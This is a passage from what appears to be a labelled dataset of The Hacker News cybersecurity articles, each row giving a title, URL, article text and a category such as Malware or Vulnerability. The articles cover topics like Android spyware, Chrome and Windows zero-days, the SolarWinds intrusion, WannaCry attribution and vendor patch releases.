""They develop and deploy a wide range of malware tools around the world to enable these activities and have grown increasingly sophisticated.""

Last year September, the United States Treasury Department also issued sanctions against three North Korean hacking groups for conducting several destructive cyberattacks on the U.S. critical infrastructure.

The next part of the latest advisory lists some of the well-known cyberattacks publicly attributed to North Korean nation-state attackers, including:


The 2014 Sony Pictures hack,
The $81 million Bangladesh Bank Heist,
The Global 2017 WannaCry ransomware outbreak,
FASTCash: Fraudulent ATM cash withdrawal scheme,
The $250 million theft from cryptocurrency exchanges.


""The DPRK has repeatedly targeted the U.S. and other government and military networks, as well as networks related to private entities and critical infrastructure, to steal data and conduct disruptive and destructive cyber activities,"" the advisory says.

In brief, the United States believes North Korea has developed a robust military-style offensive cyber operation capability that can be used to conduct more disruptive or destructive attacks against its critical infrastructures.
",Cyber_Attack
Beware: New Android Spyware Found Posing as Telegram and Threema Apps,https://thehackernews.com/2020/10/android-mobile-hacking.html,"A hacking group known for its attacks in the Middle East, at least since 2017, has recently been found impersonating legitimate messaging apps such as Telegram and Threema to infect Android devices with a new, previously undocumented malware.
""Compared to the versions documented in 2017, Android/SpyC23.A has extended spying functionality, including reading notifications from messaging apps, call recording and screen recording, and new stealth features, such as dismissing notifications from built-in Android security apps,"" cybersecurity firm ESET said in a Wednesday analysis.
First detailed by Qihoo 360 in 2017 under the moniker Two-tailed Scorpion (aka APT-C-23 or Desert Scorpion), the mobile malware has been deemed ""surveillanceware"" for its abilities to spy on the devices of targeted individuals, exfiltrating call logs, contacts, location, messages, photos, and other sensitive documents in the process.
In 2018, Symantec discovered a newer variant of the campaign that employed a malicious media player as a lure to grab information from the device and trick victims into installing additional malware.
Then earlier this year, Check Point Research detailed fresh signs of APT-C-23 activity when Hamas operators posed as young teenage girls on Facebook, Instagram, and Telegram to lure Israeli soldiers into installing malware-infected apps on their phones.
The latest version of the spyware detailed by ESET expands on these features, including the ability to collect information from social media and messaging apps via screen recording and screenshots, and even capture incoming and outgoing calls in WhatsApp and read the text of notifications from social media apps, including WhatsApp, Viber, Facebook, Skype, and Messenger.
The infection begins when a victim visits a fake Android app store called ""DigitalApps,"" and downloads apps such as Telegram, Threema, and weMessage, suggesting that the group's motivation behind impersonating messaging apps is to ""justify the various permissions requested by the malware.""
In addition to requesting invasive permissions to read notifications, turn off Google Play Protect, and record a user's screen under the guise of security and privacy features, the malware communicates with its command-and-control (C2) server to register the newly infected victim and transmit the device information.
The C2 servers, which typically masquerade as websites under maintenance, are also responsible for relaying the commands to the compromised phone, which can be used to record audio, restart Wi-Fi, uninstall any app installed on the device, among others.
What's more, it also comes equipped with a new feature that allows it to stealthily make a call while creating a black screen overlay to mask the call activity.
""Our research shows that the APT-C-23 group is still active, enhancing its mobile toolset and running new operations. Android/SpyC32.A – the group's newest spyware version — features several improvements making it more dangerous to victims,"" ESET said.
Apps downloaded from fraudulent third-party app stores has been a conduit for Android malware in recent years. It's always essential to stick to official sources to limit risk, and scrutinize permissions requested by apps before installing them on the device.

",Data_Breaches
Another Google Chrome 0-Day Bug Found Actively Exploited In-the-Wild,https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html,"Google has addressed yet another actively exploited zero-day in Chrome browser, marking the second such fix released by the company within a month.
The browser maker on Friday shipped 89.0.4389.90 for Windows, Mac, and Linux, which is expected to be rolling out over the coming days/weeks to all users.
While the update contains a total of five security fixes, the most important flaw rectified by Google concerns a use after free vulnerability in its Blink rendering engine. The bug is tracked as CVE-2021-21193.
Details about the flaw are scarce except that it was reported to Google by an anonymous researcher on March 9.
According to IBM, the vulnerability is rated 8.8 out of 10 on the CVSS scale, and could allow a remote attacker to execute arbitrary code on the target system. ""By persuading a victim to visit a specially crafted Web site, a remote attacker could exploit this vulnerability to execute arbitrary code or cause a denial of service condition on the system,"" the report stated.
As is usually the case with actively exploited flaws, Google issued a terse statement acknowledging that an exploit for CVE-2021-21193 existed but refrained from sharing additional information until a majority of users are updated with the fixes and prevent other threat actors from creating exploits targeting this zero-day.
""Google is aware of reports that an exploit for CVE-2021-21193 exists in the wild,"" Chrome Technical Program Manager Prudhvikumar Bommana noted in a blog post.
With this update, Google has fixed three zero-day flaws in Chrome since the start of the year.
Earlier this month, the company issued a fix for an ""object lifecycle issue in audio"" (CVE-2021-21166) which it said was being actively exploited. Then on February 4, the company resolved another actively-exploited heap buffer overflow flaw (CVE-2021-21148) in its V8 JavaScript rendering engine.
Chrome users can update to the latest version by heading to Settings > Help > About Google Chrome to mitigate the risk associated with the flaw.

",Cyber_Attack
Chinese hackers infiltrate Indian Defence Research Organisation,https://thehackernews.com/2013/03/chinese-hackers-infiltrate-indian.html,"According to an exclusive report published today by DNA news, the computers of highly sensitive Defence Research and Development Organisation (DRDO) have reportedly been hacked by Chinese hackers as biggest security breach in the Indian Defence ever.

Infiltrate leading to the leak of thousands of top secret files related to Cabinet Committee on Security, which have been detected to have been uploaded on a server in Guangdong province of China.
Indian Defence Minister A K Antony said, ""Intelligence agencies are investigating the matter at this stage and I do not want to say anything else.""

""The leak was detected in the first week of March as officials from India's technical intelligence wing, National Technical Research Organisation (NTRO), working with private Indian cyber security experts cracked open a file called ""army cyber policy"". The file had been attached to hacked email accounts of senior DRDO officials that quickly spread through the system in a matter of seconds."" DNA news reported.

Intelligence officials also discovered documents of deals struck between DRDO and Bharat Dyamics Ltd, a defence PSU which makes strategic missiles and components. Even the e-tickets of DRDO scientists who had travelled to Delhi in February were found on the server.

This week, Chinese hackers infiltrated Reserve Bank of Australia also.

",Cyber_Attack
Here's How SolarWinds Hackers Stayed Undetected for Long Enough,https://thehackernews.com/2021/01/heres-how-solarwinds-hackers-stayed.html,"Microsoft on Wednesday shared more specifics about the tactics, techniques, and procedures (TTPs) adopted by the attackers behind the SolarWinds hack to stay under the radar and avoid detection, as cybersecurity companies work towards getting a ""clearer picture"" of one of the most sophisticated attacks in recent history.
Calling the threat actor ""skillful and methodic operators who follow operations security (OpSec) best practices,"" the company said the attackers went out of their way to ensure that the initial backdoor (Sunburst aka Solorigate) and the post-compromise implants (Teardrop and Raindrop) are separated as much as possible so as to hinder efforts to spot their malicious activity.
""The attackers behind Solorigate are skilled campaign operators who carefully planned and executed the attack, remaining elusive while maintaining persistence,"" researchers from Microsoft 365 Defender Research Team, Microsoft Threat Intelligence Center (MSTIC), and Microsoft Cyber Defense Operations Center (CDOC) said.
While the exact identity of the group tracked as StellarParticle (CrowdStrike), UNC2452 (FireEye), SolarStorm (Palo Alto Unit 42), and Dark Halo (Volexity) remains unknown as yet, the U.S. government earlier this month formally tied the espionage campaign to a group likely of Russian origin.
A Variety of Tactics to Stay Undetected
Microsoft's timeline of the attacks shows that the fully-functional Sunburst DLL backdoor was compiled and deployed onto SolarWinds' Orion platform on February 20, following which it was distributed in the form of tampered updates sometime in late March.
An almost two-month-long reconnaissance period to profile its targets — something that requires a stealthy persistence to remain undetected and collect valuable information — ultimately paved the way for the deployment of Cobalt Strike implants on selected victim networks in May and the removal of Sunburst from SolarWinds build environment on June 4.
But answers as to how and when the transition from Sunburst to Raindrop occurs has yielded little definitive clues, even if it appears that the attackers deliberately separated the Cobalt Strike loader's execution from the SolarWinds process as an OpSec measure.
The idea is that in the event the Cobalt Strike implants were discovered on target networks, it wouldn't reveal the compromised SolarWinds binary and the supply chain attack that led to its deployment in the first place.
The findings also make it clear that, while the hackers relied on an array of attack vectors, the trojanized SolarWinds software formed the core of the espionage operation:
Methodic avoidance of shared indicators for each compromised host by deploying custom Cobalt Strike DLL implants on each system
Camouflaging malicious tools and binaries to mimic existing files and programs already present on the compromised machine
Disabling event logging using AUDITPOL before hands-on keyboard activity and enabling it back once complete
Creating special firewall rules to minimize outgoing packets for certain protocols before running noisy network enumeration activities that were later removed after the network survey
Executing lateral movement activities only after disabling security services on targeted hosts
Allegedly using timestomping to change artifacts' timestamps and leveraging wiping procedures and tools to prevent discovery of malicious DLL implants
Adopting a Zero Trust Mentality
""This attack was simultaneously sophisticated and ordinary,"" Microsoft said. ""The actor demonstrated sophistication in the breadth of tactics used to penetrate, expand across, and persist in affected infrastructure, but many of the tactics, techniques, and procedures (TTPs) were individually ordinary.""
To protect against such attacks in the future, the company recommends that organizations adopt a ""zero trust mentality"" to achieve least privileged access and minimize risks by enabling multi-factor authentication.
""With Solorigate, the attackers took advantage of broad role assignments, permissions that exceeded role requirements, and in some cases abandoned accounts and applications which should have had no permissions at all,"" Alex Weinert, Microsoft's director of identity security, said.

",Malware
New Malware Takes Commands From Memes Posted On Twitter,https://thehackernews.com/2018/12/malware-twitter-meme.html,"Security researchers have discovered yet another example of how cybercriminals disguise their malware activities as regular traffic by using legitimate cloud-based services.

Trend Micro researchers have uncovered a new piece of malware that retrieves commands from memes posted on a Twitter account controlled by the attackers.

Most malware relies on communication with their command-and-control server to receive instructions from attackers and perform various tasks on infected computers.

Since security tools keep an eye on the network traffic to detect malicious IP addresses, attackers are increasingly using legitimate websites and servers as infrastructure in their attacks to make the malicious software more difficult to detect.

In the recently spotted malicious scheme, which according to the researchers is in its early stage, the hackers uses Steganography—a technique of hiding contents within a digital graphic image in such a way that's invisible to an observer—to hide the malicious commands embedded in a meme posted on Twitter, which the malware then parses and executes.

Although the internet meme looks a normal image to human eyes, the command ""/print"" is hidden in the file's metadata, which then prompts the malware to send a screenshot of the infected computer to a remote command-and-control server.

Also Read: Hacking With Just An Image — Stegano

Here, the malware, which the researchers named ""TROJAN.MSIL.BERBOMTHUM.AA,"" has been designed to check the attacker's Twitter account and then download and scan meme (image) files for the secret commands.
According to the Trend Micro researchers, the Twitter account in question was created in 2017 and contained only two memes posted on October 25 and 26 that delivered ""/print"" commands to the malware that instructed it to take screenshots.

The malware then sends the screenshots to a command and control server, whose address is obtained through a ""hard-coded"" URL on the Pastebin site.

Besides taking screenshots, the malware can also be given a variety of other commands, such as to retrieve a list of running processes, grab the account name of the logged in user, get filenames from specific directories on an infected machine, and grab a dump of the user's clipboard.

The malware appears to be in the early stages of its development as the pastebin link points to a local, private IP address, ""which is possibly a temporary placeholder used by the attackers.""

It's worth noting that the malware was not downloaded from Twitter itself and the researchers currently haven't found what specific mechanism that was or could be used by attackers to deliver the malware to the victims' computers.

The good news is that the Twitter account used to deliver the malicious memes appears to have been disabled, but it is still not clear who is behind this malware and how the mysterious hacker was circulating the malware.

",Malware
"Singapore's Largest Healthcare Group Hacked, 1.5 Million Patient Records Stolen",https://thehackernews.com/2018/07/singapore-healthcare-breach.html,"Singapore's largest healthcare group, SingHealth, has suffered a massive data breach that allowed hackers to snatch personal information on 1.5 million patients who visited SingHealth clinics between May 2015 and July 2018.

SingHealth is the largest healthcare group in Singapore with 2 tertiary hospitals, 5 national specialty , and eight polyclinics.

According to an advisory released by Singapore's Ministry of Health (MOH), along with the personal data, hackers also managed to stole 'information on the outpatient dispensed medicines' of about 160,000 patients, including Singapore's Prime Minister Lee Hsien Loong, and few ministers.

""On 4 July 2018, IHiS' database administrators detected unusual activity on one of SingHealth's IT databases. They acted immediately to halt the activity,"" MOH said.

The stolen data includes the patient's name, address, gender, race, date of birth, and National Registration Identity Card (NRIC) numbers.

The Ministry of Health said the hackers ""specifically and repeatedly"" targeted the PM's ""personal particulars and information on his outpatient dispensed medicine.""

So far there's no evidence of who was behind the attack, but the MOH stated that the cyber attack was ""not the work of casual hackers or criminal gangs."" The local media is also speculating that the hack could be a work of state-sponsored hackers.

Investigations by the Cyber Security Agency of Singapore (CSA) and the Integrated Health Information System (IHiS) also confirmed that ""this was a deliberate, targeted, and well-planned cyberattack.""

PM Comments On SingHealth Healthcare Data Breach

Commenting on the cyber attack through a Facebook post published today, Singapore's Prime Minister said he believes that the attackers are ""extremely skilled and determined"" and they have ""huge resources"" to conduct such cyber attacks repeatedly.

""I don't know what the attackers were hoping to find. Perhaps they were hunting for some dark state secret or at least something to embarrass me. If so, they would have been disappointed,"" Singapore PM said. ""My medication data is not something I would ordinarily tell people about, but nothing is alarming in it.""
The Singapore government has assured its citizens that no medical records were tampered, or deleted and that no diagnoses, test results, or doctors' notes were stolen in the attack.

All affected patients will be contacted by the healthcare institution over the next five days.

Since the healthcare sector is part of the critical nation's infrastructure, alongside water, electricity, and transport, it has increasingly become an attractive target for hackers.

In the past few years, we have reported several hacks and data breaches, targeting the healthcare sector. Just last month, it was revealed that DNA registries of more than 92 million MyHeritage customers were stolen in the previous year by some unknown hackers.

Earlier this year, it was reported that more than half of Norway's population exposed its healthcare data in a massive data breach that targeted the country's major healthcare organization.

The foremost thing to protect against any data breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will just have to remain mindful.
",Cyber_Attack
SolarWinds Hackers Breach Microsoft Customer Support to Target its Customers,https://thehackernews.com/2021/06/solarwinds-hackers-breach-microsoft.html,"In yet another sign that the Russian hackers who breached SolarWinds network monitoring software to compromise a slew of entities never really went away, Microsoft said the threat actor behind the malicious cyber activities used password spraying and brute-force attacks in an attempt to guess passwords and gain access to its customer accounts.
""This recent activity was mostly unsuccessful, and the majority of targets were not successfully compromised – we are aware of three compromised entities to date,"" the tech giant's Threat Intelligence Center said Friday. ""All customers that were compromised or targeted are being contacted through our nation-state notification process.""
The development was first reported by news service Reuters. The names of the victims were not revealed.
The latest wave in a series of intrusions is said to have primarily targeted IT companies, followed by government agencies, non-governmental organizations, think tanks, and financial services, with 45% of the attacks located in the U.S., U.K., Germany, and Canada.
Nobelium is the name assigned by Microsoft to the nation-state adversary responsible for the unprecedented SolarWinds supply chain attacks that came to light last year. It's tracked by the wider cybersecurity community under the monikers APT29, UNC2452 (FireEye), SolarStorm (Unit 42), StellarParticle (Crowdstrike), Dark Halo (Volexity), and Iron Ritual (Secureworks).
In addition, Microsoft said it detected information-stealing malware on a machine belonging to one of its customer support agents, who had access to basic account information for a small number of its customers.
The stolen customer information was subsequently used ""in some cases"" to launch highly-targeted attacks as part of a broader campaign, the company noted, adding it moved quickly to secure the device. Investigation into the incident is still ongoing.
The revelation that the hackers have set up a new arm of the campaign comes a month after Nobelium targeted more than 150 different organizations located across 24 countries by leveraging a compromised USAID account at a mass email marketing company called Constant Contact to send phishing emails that enabled the group to deploy backdoors capable of stealing valuable information.
The development also marks the second time the threat actor singled out Microsoft after the company disclosed earlier this February the attackers had managed to compromise its network to view source code related to its products and services, including Azure, Intune, and Exchange.
What's more, the disclosure arrives as the U.S. Securities and Exchange Commission (SEC) opened a probe into the SolarWinds breach to examine whether some victims of the hack had failed to publicly disclose the security event, Reuters reported last week.

",Cyber_Attack
Popular Android Phone Manufacturers Caught Lying About Security Updates,https://thehackernews.com/2018/04/android-security-update.html,"Android ecosystem is highly broken when it comes to security, and device manufacturers (better known as OEMs) make it even worse by not providing critical patches in time.

According to a new study, most Android vendors have been lying to users about security updates and telling customers that their smartphones are running the latest updates.

In other words, most smartphone manufacturers including big players like Samsung, Xiaomi, OnePlus, Sony, HTC, LG, and Huawei are not delivering you every critical security patch they're supposed to, a study by Karsten Nohl and Jakob Lell of German security firm Security Research Labs (SRL) revealed.

Nohl and Lell examined the firmware of 1,200 smartphones from over a dozen vendors, for every Android patch released last year, and found that many devices have a ""patch gap,"" leaving parts of the Android ecosystem exposed to hackers.
""Sometimes these guys just change the date without installing any patches. Probably for marketing reasons, they just set the patch level to almost an arbitrary date, whatever looks best,"" Nohl says in an interview with Wired.
Google releases security patches every month to keep its Android ecosystem safe and secure from the underlying risks, but since every manufacturer and mobile carrier modify the operating system to make their smartphone unique, they often fail to apply all those patches in time.

SRL researchers investigated smartphones that had supposedly received and installed the latest Android updates and released the following breakdown of their findings:
0-1 missed patches—Google, Sony, Samsung, Wiko Mobile
1-3 missed patches—Xiaomi, OnePlus, Nokia
3-4 missed patches—HTC, Huawei, LG, Motorola
4+ missed patches—TCL, ZTE
Specifically, the above result focused on security patches for Critical and High severity vulnerabilities that were released in 2017.

As shown above, Google, Samsung, Wiko Mobile and Sony are still doing great in installing patches, but others, specifically Chinese vendors like Xiaomi and OnePlus are worse in protecting their customers against latest security flaws.

In order to address the patch gap issue, Google has already launched a project, dubbed Treble, under which the company brought some significant changes to the Android system architecture last year to gain more control over the update process.
Project Treble was included as part of Android 8.0 Oreo and has been designed to separate core hardware code from the OS code, eliminating OEMs' dependencies over to deliver Android updates faster.

However, even if your Android device runs Oreo 8.0 operating system, it's not necessary that it supports Treble project, as it's still up to the device manufacturer to include it. For example, Oreo firmware update for OnePlus devices don't support Treble yet.

But new devices will be required to support Treble moving forward.
Check Your Device For 'Patch Level'
Meanwhile, SRL has developed an app called SnoopSnitch, which you can download for free, to measure the patch level of your own Android smartphone, helping you verify vendor claims about the security of your devices.

",Cyber_Attack
Ransomware replaces Windows MBR and asking users for Money,https://thehackernews.com/2012/04/ransomware-replaces-windows-mbr-and.html,"Ransomware replaces Windows MBR and asking users for Money

Security researchers from TrendMicro, F-Secure and Dr. Web have intercepted two new ransomware variants currently circulating in the wild. This new ransomware variant prevents infected computers from loading Windows by replacing their master boot record (MBR) and displays a message asking users for money.

Cris Pantanilla, a threat response engineer at Trend Micro said, ""Based on our analysis, this malware copies the original MBR and overwrites it with its own malicious code,"" ""Right after performing this routine, it automatically restarts the system for the infection take effect.""

The MBR is a piece of code that resides in the first sectors of the hard drive and starts the boot loader. The boot loader then loads the OS. Instead of starting the Windows boot loader, the rogue MBR installed by the new ransomware displays a message that asks users to deposit a sum of money into a particular account via an online payment service called QIWI, in order to receive an unlock code for their computers.

Both F-Secure and Dr.Web have intercepted an identical ransomware variant. Upon execution it encrypts all files, by adding a .EnCiPhErEd file extension. End users are given the option to have 5 attempts to try and enter the unlock code, in between the malware deletes itself and leaves the files encrypted.

The ransomware displays the following message to infected users:
Attention! All your files are encrypted! You are using unlicensed programms! To restore your files and access them, send code Ukrash or Paysafecard nominal value of EUR 50 to the email koeserg@gmail.com. You have 5 attempts to enter the code. If you exceed this of all data irretrievably spoiled. Be careful when you enter teh code!


Repairing the MBR is no trivial matter and usually requires booting from the Windows installation disk, getting into the recovery command console and typing special commands.Ransomware infections are typically more common throughout Eastern Europe and South America, but this type of malware is slowly gaining traction in other regions of the world as well.

",Malware
How to Detect IE Zero-day Exploit Used to Deploy Korplug Malware,https://thehackernews.com/2015/09/detect-zero-day-threat.html,"Recently, Microsoft issued an Emergency patch for a zero-day vulnerability in Internet Explorer that is being exploited to deploy Korplug malware on vulnerable PCs.

Korplug, a known variant of PlugX, is a Trojan that creates a backdoor used for information stealing on infected computers.

In one of the most publicized cases, an evangelical church in Hong Kong was compromised to deliver the malware. Attackers were able to breach the church's website and inject a malicious iFrame overlay designed to look like the site itself.

The iFrame was then used to redirect visitors to a site hosting the IE exploit. Once users land on the website, they are served a java.html which installs Korplug on their computers.

To defend against Korplug, system administrators, and security engineers should educate users of corporate assets about these types of hacking techniques.

In many cases, organizations are breached because of the lack of internal education around how to identify threats.

All too often breaches are successful when users execute malicious email attachments, download files from suspicious websites, or install cracked software.

However, even with the right kind of education, users will still sometimes inadvertently compromise company assets.

This usually occurs when a user accidentally exposes the network to a piece of malware posing as a legitimate spreadsheet, word doc in an email, or in the case of the evangelical church described above, an iFrame designed to look like a page in a website.

Impact on You

Acting like a backdoor, malware like Korplug can be used by an attacker to have complete control over a user's computer.

This allows the attacker to create privilege escalation, exfiltrate data on the user's machine, or act as a pivot point to access more sensitive systems.

How AlienVault Can Help

AlienVault Unified Security Management (USM) provides asset discovery, threat detection (IDS), vulnerability assessment behavioral monitoring and SIEM in a single console, plus weekly threat intelligence updates developed by the AlienVault Labs threat research team.

The Labs team has released IDS signatures and a correlation rule to the AlienVault USM platform so customers can identify activity related to Korplug.

Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in AV Product Sandbox (no download required)

",Malware
Android facial recognition based unlocking can be fooled with photo,https://thehackernews.com/2011/11/android-facial-recognition-based.html,"Android facial recognition based unlocking can be fooled with photo


Another Android Feature Exploited, Funny that Android facial recognition based unlocking can be fooled with photo . Check out the video below, courtesy of Malaysia's SoyaCincau :

He said ""While some of you think that it is a trick and I had set the Galaxy Nexus up to recognise the picture, I assure you that the device was set up to recognise my face. I have a few people there watching me do the video and if any one of them is watching this video I hope you can confirm that this test is 100% legit."".

",Vulnerability
Bypassing Windows Security by modifying 1 Bit Only,https://thehackernews.com/2015/02/bypassing-windows-security.html,"Among several vulnerabilities, Microsoft on Tuesday patched a critical vulnerability that could be exploited by hackers to bypass security measures on all versions of Windows operating systems from XP to Windows 10, just by modifying a single bit.

The local privilege escalation vulnerability (CVE-2015-0057) could give attackers total control of the victims' machines, explains Udi Yavo, the chief technology officer at the security firm enSilo.

""A threat actor that gains access to a Windows machine can exploit this vulnerability to bypass all Windows security measures, defeating mitigation measures such as sandboxing, kernel segregation and memory randomization,"" said Yavo.

INTERESTING PART OF THE FLAW
Yavo continued, ""Interestingly, the exploit requires modifying only a single bit of the Windows operating system.""
The flaw existed in the graphical user interface (GUI) component of the Win32k.sys module within the Windows Kernel which, among other things, manages vertical and horizontal Windows' scroll bars. The flaw actually resides in the xxxEnableWndSBArrows function which could alter the state of both scroll bars through a call.

The researchers at the security firm managed to create an exploit for all versions of Windows and found that the desktop versions up to Windows 10 technical preview were affected by the vulnerability.

In an advisory, Yavo provided a detail technical analysis of the vulnerability and showed that even a minor bug can be used by remote attackers to gain complete control over any Windows operating system.

VIDEO DEMONSTRATION
Yavo included a proof-of-concept video, that doesn't actually disclose any sensitive code, but shows the privilege escalation exploitation on a machine running 64-bit Windows 10 Technical Preview.

You can watch the video below:

The attack method can be used to bypass kernel protections such as Kernel Data Execution Prevention (DEP), Kernel Address Space Layout Randomization (KASLR), Mandatory Integrity Control (MIC), Supervisor Mode Execution Protection (SMEP), and NULL deference protection.

FUNNY PART
Yavo also found an ancient piece of code in calls within the horizontal scrollbar component of the xxxEnableWndSBArrows function to the xxxWindowEvent function, and the ""funny"" thing about it was that that it's a dead code. This code he said had existed ""for about 15-years doing absolutely nothing"".

However, the vulnerability was patched by Microsoft on Tuesday. But, the company still hasn't addressed a recently disclosed Universal Cross-Site Scripting (UXSS) vulnerability affecting Internet Explorer that could allow malicious hackers to inject malicious code into users' websites and steal cookies, session and login credentials.

",Vulnerability
Linguistic Analysis Suggests WannaCry Hackers Could be From Southern China,https://thehackernews.com/2017/05/china-wannacry-ransomware.html,"It's been almost four weeks since the outcry of WannaCry ransomware, but the hackers behind the self-spread ransomware threat have not been identified yet.

However, two weeks ago researchers at Google, Kaspersky Lab, Intezer and Symantec linked WannaCry to 'Lazarus Group,' a state-sponsored hacking group believed to work for the North Korean government.

Now, new research from dark web intelligence firm Flashpoint indicates the perpetrators may be Chinese, based on its own linguistic analysis.

Flashpoint researchers Jon Condra and John Costello analyzed each of WannaCry's localized ransom notes, which is available in 28 languages, for content, accuracy, and style, and discovered that all the notes, except English and Chinese versions (Simplified and Traditional), had been translated via Google Translate.

According to the research, Chinese and English versions of the ransomware notes were most likely written by a human.

On further analysis, researchers discovered that the English ransom note contains a ""glaring"" grammatical error, which suggests the ransomware author may be a non-native English speaker.

""Though the English note appears to be written by someone with a strong command of English, a glaring grammatical error in the note suggest the speaker is non-native or perhaps poorly educated.""

And since Google Translate does not work good at translating Chinese to English and English to Chinese, and often produces inaccurate results, the English version could be written for translating the ransom note into other languages.
""Comparisons between the Google translated versions of the English ransomware note to the corresponding WannaCry ransom note yielded nearly identical results, producing a 96% or above match.""

According to the Flashpoint report, the Chinese ransom notes contain ""substantial content not present in any other version of the note,"" and they are longer than and formatted differently from the English one.

The Chinese ransom notes also use proper grammar, punctuation, syntax, and character choice – indicating that the ransomware writer is fluent in the Chinese language.

""A typo in the note, bang zu (幫組) instead of bang zhu (幫助), which means 'help,' strongly indicates the note was written using a Chinese-language input system rather than being translated from a different version,"" the researchers explain.

""The text uses certain terms that further narrow down a geographic location. One term, libai ( 禮拜 ) for 'week,' is more common in southern China, Hong Kong, Taiwan, and Singapore...The other ""杀毒软件"" for ""anti-virus"" is more common in the Chinese mainland.""

All these clues made Flashpoint researchers into believing with high confidence that the unknown author or authors of WannaCry ransomware are fluent Chinese speaker and that the Chinese are the source of the English version of the ransom note.

However, Flashpoint researchers say it's hard to speculate the nationality of the WannaCry hackers as they may be affiliated to any Asian (China, Hong Kong, Taiwan, or Singapore).

WannaCry epidemic hit more than 300,000 PCs in more than 150 countries within just 72 hours, using self-spreading capabilities to infect vulnerable Windows PCs, particularly those using older versions of the operating system.

While most of the affected organisations have now returned to normal, law enforcement agencies across the world are on the hunt.

",Malware
Google makes 2-Factor Authentication a lot Easier and Faster,https://thehackernews.com/2016/06/google-prompt-2-step-verification.html,"When it comes to data breaches of major online services like LinkedIn, MySpace, Twitter and VK.com, it's two-factor authentication that could save you from being hacked.

Two-factor authentication or 2-step verification is an effective way to secure online accounts, but many users avoid enabling the feature just to save themselves from irritation of receiving and typing a six-digit code that takes their 10 to 15 extra seconds.

Now, Google has made the 2-Step Verification (2FV) process much easier for its users, allowing you to login with just a single tap instead of typing codes.

Previously, you have had to manually enter a six-digit code received via an SMS or from an authenticator app, but now…

Google has introduced a new method called ""Google Prompt"" that uses a simple push notification where you just have to tap on your mobile phone to approve login requests.

Also Read: Google Plans to Kill your Passwords.

In other words, while signing in to your account, just enter your password, and you will get a pop-up message on your mobile phone asking you if you want to sign in. If you want, then press ""Yes"" and you're in.

How to Set Up Google Prompt

Here's how you can enable Google Prompt for your Google accounts:

Before enabling Google Prompt, first enable two-step verification for your Google account and you have already enabled two-step verification, you can skip this part.


Go to myaccount.google.com and sign in to your Google account.
Select 'Signing in to Google,' using 2-Step Verification.
Click on 'Get started' and enter your password once again.
Now provide your phone number you want to use for authenticating, and choose either an SMS or phone call for verification, and click on 'Try it.'
Enter the 6-digit code from the SMS or phone call and select 'Next.'
For setting up two-step verification, click 'Turn ON.'


Now, once you have enabled two-step verification, follow these simple steps that will just take a few second. All you need is an Android or iOS device nearby.


Under 'Set up alternative second step,' click on the Google prompt option
Add phone and click Get started.


Then just follow the on-screen instructions and you're all set to go.

If you have an iPhone, you are required to download the Google Search app first and sign in before using Google Prompt. But, if you are an Android user, just update your Google Play Service.

Two-step verification has become so easier to use, so what are you now waiting for?

",Data_Breaches
Critical Flaw in Apache Struts2 Lets Hackers Take Over Web Servers,https://thehackernews.com/2017/09/apache-struts-vulnerability.html,"Security researchers have discovered a critical remote code execution vulnerability in the popular Apache Struts web application framework, allowing a remote attacker to run malicious code on the affected servers.

Apache Struts is a free, open-source, Model-View-Controller (MVC) framework for developing web applications in the Java programming language, which supports REST, AJAX, and JSON.

The vulnerability (CVE-2017-9805) is a programming blunder that resides in the way Struts processes data from an untrusted source. Specifically, Struts REST plugin fails to handle XML payloads while deserializing them properly.

All versions of Apache Struts since 2008 (Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12) are affected, leaving all web applications using the framework's REST plugin vulnerable to remote attackers.

According to one of the security researchers at LGTM, who discovered this flaw, the Struts framework is being used by ""an incredibly large number and variety of organisations,"" including Lockheed Martin, Vodafone, Virgin Atlantic, and the IRS.

""On top of that, [the vulnerability] is incredibly easy for an attacker to exploit this weakness: all you need is a web browser,"" Man Yue Mo, an LGTM security researcher said.

All an attacker needs is to submit a malicious XML code in a particular format to trigger the vulnerability on the targeted server.

Successful exploitation of the vulnerability could allow an attacker to take full control of the affected server, eventually letting the attacker infiltrate into other systems on the same network.

Mo said this flaw is an unsafe deserialization in Java similar to a vulnerability in Apache Commons Collections, discovered by Chris Frohoff and Gabriel Lawrence in 2015 that also allowed arbitrary code execution.

Many Java applications have since been affected by multiple similar vulnerabilities in recent years.

Since this vulnerability has been patched in Struts version 2.5.13, administrators are strongly advised to upgrade their Apache Struts installation as soon as possible.

More technical details about the vulnerability and proof-of-concept have not been published by the researchers yet, giving admins enough time to upgrade their systems.

",Vulnerability
"Adobe Releases Critical Patches for Acrobat Reader, Photoshop, Bridge, ColdFusion",https://thehackernews.com/2020/03/adobe-software-update.html,"Though it's not Patch Tuesday, Adobe today released a massive batch of out-of-band software updates for six of its products to patch a total of 41 new security vulnerabilities.

Adobe last week made a pre-announcement to inform its users of an upcoming security update for Acrobat and Reader, but the company today unveiled bugs in a total of 6 widely-used software, including:

Adobe Genuine Integrity Service
Adobe Acrobat and Reader
Adobe Photoshop
Adobe Experience Manager
Adobe ColdFusion
Adobe Bridge

According to the security advisories, 29 of the 41 vulnerabilities are critical in severity, and the other 11 have been rated important.

Adobe Acrobat and Reader software for Windows and macOS systems contain 13 flaws, out of which 9 are critical.

Adobe Genuine Integrity Service, a utility in Adobe suite that prevents users from running non-genuine or cracked pirated software, is affected with just one important severity privilege escalation flaw.

Adobe Photoshop, one of the most popular photo editing software for Windows and macOS users, is affected by a total of 22 vulnerabilities, out of which 16 are critical.

Besides this, Adobe patches one sensitive information disclosure flaw in the Experience Manager application, two critical flaws in the ColdFusion and two critical bugs in the Adobe Bridge digital asset management app,

All critical flaws are memory corruption issues that could lead to arbitrary code execution attacks, except the one in ColdFusion that could let attackers read arbitrary files (CVE-2020-3761) from the install directory.

None of the security vulnerabilities fixed in this batch of Adobe updates were publicly disclosed or found being exploited in the wild.

However, it's still highly recommended for Adobe users to download and install the latest versions of the affected software to protect their systems and businesses from potential cyber-attacks.
",Vulnerability
Samsung Galaxy S5 Fingerprint Scanner Easily Get Hacked,https://thehackernews.com/2014/04/Samsung-Galaxy-S5-Fingerprint-Scanner-Hacked.html,"Samsung Galaxy S5 Fingerprint feature promises an extra layer of security for your smartphone, which also lets you make payments through PayPal. But does it really secure?

Just three days after the launch of the Galaxy S5, Security researchers have successfully managed to hack Galaxy S5 Fingerprint sensor using a similar method that was used to spoof the Touch ID sensor on the iPhone 5S last year.

FOOLING FINGERPRINT SENSOR
